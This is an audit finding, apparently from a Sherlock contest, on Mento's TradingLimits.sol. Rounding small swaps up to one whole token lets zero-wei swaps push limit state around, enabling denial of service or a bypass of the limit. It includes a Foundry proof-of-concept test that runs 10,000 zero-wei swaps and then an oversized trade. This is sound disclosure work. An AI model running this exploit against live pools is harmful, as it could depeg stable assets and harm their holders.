Flaky Charcoal Elephant

High

# It is possible to bypass trading limits

### Summary

Because of the way in which TrandingLimits.sol rounds swaps up to the nearest whole token doing the accounting for any given trade, it is possible to game the state of the current trading limits, making them optional for a sufficiently sophisticated actor.

### Root Cause

The problem is most succinctly explained in the [comments](https://github.com/sherlock-audit/2024-10-mento-update/blob/098b17fb32d294145a7f000d96917d13db8756cc/mento-core/contracts/libraries/TradingLimits.sol#L29-L31) at the start of the file, which state that trading limits are stored with zero decimals so as to fit within a int48.

The problem arises in the following block of [code](https://github.com/sherlock-audit/2024-10-mento-update/blob/098b17fb32d294145a7f000d96917d13db8756cc/mento-core/contracts/libraries/TradingLimits.sol#L130-L136):

```solidity
@>  int256 _deltaFlowUnits = _deltaFlow / int256((10 ** uint256(decimals))); // decimals chopped off
    require(_deltaFlowUnits <= MAX_INT48, "dFlow too large");

    int48 deltaFlowUnits = int48(_deltaFlowUnits);
    if (deltaFlowUnits == 0) {
@>    deltaFlowUnits = _deltaFlow > 0 ? int48(1) : int48(-1); // rounded to nearest whole token
    }
```

To counteract the loss of precision created by chopping off decimals, the protocol rounds any small enough swap to either 1 or -1 depending on the direction of the swap.

The problem with this is that it it allows anyone to push the current trading limit state around for as little as 0 wei.

### Internal pre-conditions

1. Trading limits are in place for a pool

### External pre-conditions

_No response_

### Attack Path

There are two possible attack paths, DOS and trading limit bypass.

DOS:
1. attacker makes a series of small transactions (0 wei each) to push trading limit state to the maximum or minimum
2. users can now only trade in one direction

Bypass:
1. attacker makes a series of small transactions (0 wei each) to push trading limit around
2. attacker trades in the opposite direction with size
3. if the attacker wishes to trade more, he or she can repeat 1 and 2 indefinitely

Making 10,000 calls as in the POC may be ridiculous, but if something is already at a limit and someone wants to go beyond it, it would be trivial to push around the limits to allow any trade to happen.

### Impact

An attacker can DOS users from buying or selling a given token for very cheap.

An attacker can entirely bypass the trading limits if he or she wants to trade more size than should be allowed. This threatens the price stability of any pool with trading limits in place. The trading limits are designed to smooth the impact of price fluctuations against the holders of a pool's stable value assets, and being able to bypass that exposes holders of theoretically stable assets to potentially unlimited volatility. This would allow flash crash and severe depegging situations to impact users that should have been protected by the trading limits.

### PoC

Please put the following code into BrokerIntegration.t.sol:

```solidity
  function test_bypass_trading_limits() public {
    // the default test trading limits are set to 10,000 tokens for limit0
    // configL0L1LG(100, 10000, 1000, 100000, 1000000);

    // mint more than the default for this test file
    deal(address(cUSDToken), trader, 10 ** 23, true); // Mint 100k to trader
    deal(address(cEURToken), trader, 10 ** 23, true); // Mint 100k to trader
    vm.startPrank(trader);
    
    // setup swap params
    uint256 amountIn = 0;
    IERC20 tokenIn = IERC20(address(cEURToken));
    IERC20 tokenOut = IERC20(address(cUSDToken));
    bytes32 poolId = pair_cUSD_cEUR_ID;

    // Get amounts before swap
    uint256 traderTokenInBefore = tokenIn.balanceOf(trader);

    // This swap goes beyond the limit and will revert - we'll repeat this later and succeed
    IERC20(tokenOut).approve(address(broker), 20000 * 10 ** 18);
    address[] memory exchangeProviders = broker.getExchangeProviders();
    vm.expectRevert("L0 Exceeded");
    broker.swapIn(address(exchangeProviders[0]), poolId, address(tokenOut), address(tokenIn), 20000 * 10 ** 18, 0);

    // 10,000 swaps for 0 wei each
    for (uint256 i = 0; i < 10000; ++i) {
        doSwapIn(poolId, amountIn, address(tokenIn), address(tokenOut));
    }
    
    // now the limits are maxed out - attacker didn't pay any wei
    // to trigger a 10k limit
    // the 10,001st swap will fail
    vm.expectRevert("L0 Exceeded");
    broker.swapIn(address(exchangeProviders[0]), poolId, address(tokenIn), address(tokenOut), amountIn, 0);

    // Ensure attacker spent nothing
    uint256 traderTokenInAfter = tokenIn.balanceOf(trader);
    assertEq(traderTokenInAfter, traderTokenInBefore);

    // at this point anyone interacting with the pool is DOSd from trading in one direction
    // additionally, the attacker can now use the freshly maxed out limit
    // to trade with huge size in the opposite direction and bypass the intended limit

    // swap 20k in the other direction
    // this would have failed at the beginning due to the 10k trading limit but succeeds now
    doSwapIn(poolId, 20000 * 10 ** 18, address(tokenOut), address(tokenIn));
  }
```

### Mitigation

Don't truncate decimals in TradingLimits.sol